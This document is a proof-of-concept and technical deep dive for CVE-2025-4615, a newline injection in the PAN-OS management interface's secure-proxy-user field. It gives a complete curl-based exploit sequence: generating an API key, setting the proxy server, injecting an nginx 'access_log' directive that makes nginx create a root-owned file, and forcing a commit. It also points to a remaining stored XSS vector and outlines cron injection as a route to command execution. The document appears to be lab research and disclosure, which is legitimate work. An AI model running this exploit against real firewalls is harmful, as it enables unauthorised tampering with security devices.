
cve-2025-4615 poc & deep dive
Vulnerability: Improper Neutralization of Input in PAN-OS Management Web Interface
Vendor Advisory: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (MEDIUM) — Integrity HIGH, Availability HIGH
CWE: CWE-83 (Improper Neutralization of Script in Attributes in a Web Page)
CAPEC: CAPEC-165 (File Manipulation)
Credit: Visa Inc.
Date of Analysis: 2026-03-26
CVE-2025-4615 is a newline injection vulnerability in the secure-proxy-user configuration field of Palo Alto Networks PAN-OS. An authenticated administrator can inject newline characters (\n) into the proxy username via the XML API or web interface. During commit, this value is written unsanitized into /etc/nginx/nginx.conf, breaking out of a comment line and injecting arbitrary nginx directives.
Impact:
access_log directiveNote: The vendor's fix (stripping newline characters) is incomplete — the same field remains vulnerable to stored Cross-Site Scripting (XSS) because no output encoding or character allowlist is applied.
The secure-proxy-user field is defined in the PAN-OS schema (schema.xml) as a plain string with no input sanitization:
<element name="secure-proxy-user" optional="yes" type="string"
help-string="Secure Proxy user name to use"/>
Note: secure-proxy-server has a regex constraint (regex="^([0-9a-zA-Z.:/_-])+$"), but secure-proxy-user has none. There is a 31-character length limit, but no character restrictions.
During commit, PAN-OS regenerates /etc/nginx/nginx.conf from a template (/etc/nginx/nginx.conf.tmpl). The template contains:
#pan_proxy_comment %s
The %s placeholder is filled by the libpanmp_mp.so library function that concatenates proxy server, username, and encrypted password into a single string. On the vulnerable version, newline characters in the username are passed through verbatim.
When secure-proxy-user contains a\naccess_log /tmp/pwn3;\n#, the generated nginx.conf becomes:
#pan_proxy_comment 8.8.8.9 a — Comment (harmless)
access_log /tmp/pwn3; — INJECTED DIRECTIVE (executed by nginx!)
# -AQ==encrypted_password== — Password commented out by injected #
Line 1 is a comment. Line 2 is a valid nginx directive at the http block level. Line 3 is neutralized by the attacker's # character.
The nginx master process runs as root. The access_log directive causes nginx to open/create the target file as root. This enables:
On the fixed version (11.1.13), the config writer strips newline characters from the proxy username before writing it to nginx.conf. The same malicious value produces:
#pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==
Everything stays on one line, safely inside the # comment.
However, this fix is incomplete. It only addresses newline injection. The secure-proxy-user field still accepts arbitrary characters (including ", <, >) without output encoding, leaving the stored XSS vector wide open. See unit-43-xss.
secure-proxy-server (required for the proxy comment to appear)curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"
# Payload: "a\naccess_log /tmp/pwn3;\n#"
# Total: 26 characters (within 31-char limit)
# Injects: access_log /tmp/pwn3; — creates /tmp/pwn3 as root
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"
After commit completes (~30s):
/tmp/pwn3 is created with root ownershipnginx -t -c /etc/nginx/nginx.conf reports: syntax is okThe unsanitized secure-proxy-user value propagates to multiple files:
| File | Impact |
|---|---|
/etc/nginx/nginx.conf | Critical — nginx directive injection |
/opt/pancfg/tmp/.tdb_conf.xml | Template DB config (XML injection) |
/opt/pancfg/mgmt/audit/cfg-audit.xml,v | Audit trail corruption |
/opt/pancfg/mgmt/replaydb/replay.db | Replay database corruption |
| XSL-generated daemon configs (authd, cord, useridd, etc.) | XML value preserved with newlines |
The curlrc (/root/.curlrc) and wgetrc (/root/.wgetrc) writers do strip newlines, even on the vulnerable version. The nginx.conf writer was the only path that didn't sanitize.
Extensive testing of 11 attack vectors confirmed that standalone OS-level RCE from CVE-2025-4615 alone is not achievable on PAN-OS 11.1.6-h7 with nginx 1.20.1. The three critical blockers:
\x0A escaping — prevents raw newline injection into log files, blocking cron injection despite vixie-cron's tolerance of garbage lines (lab-confirmed: cron does execute valid lines surrounded by garbage)log_format + access_log to gain content control over written filesThe advisory's "execute arbitrary commands" most likely refers to arbitrary nginx directives, not OS-level command execution. This is consistent with the CVSS VC:N (no confidentiality impact) and the nature of the fix.
If any of the three blockers were absent, RCE would be trivially achievable via cron injection.
Analysis performed on isolated lab environment with PAN-OS 11.1.6-h7 (vulnerable) and PAN-OS 11.1.13 (fixed).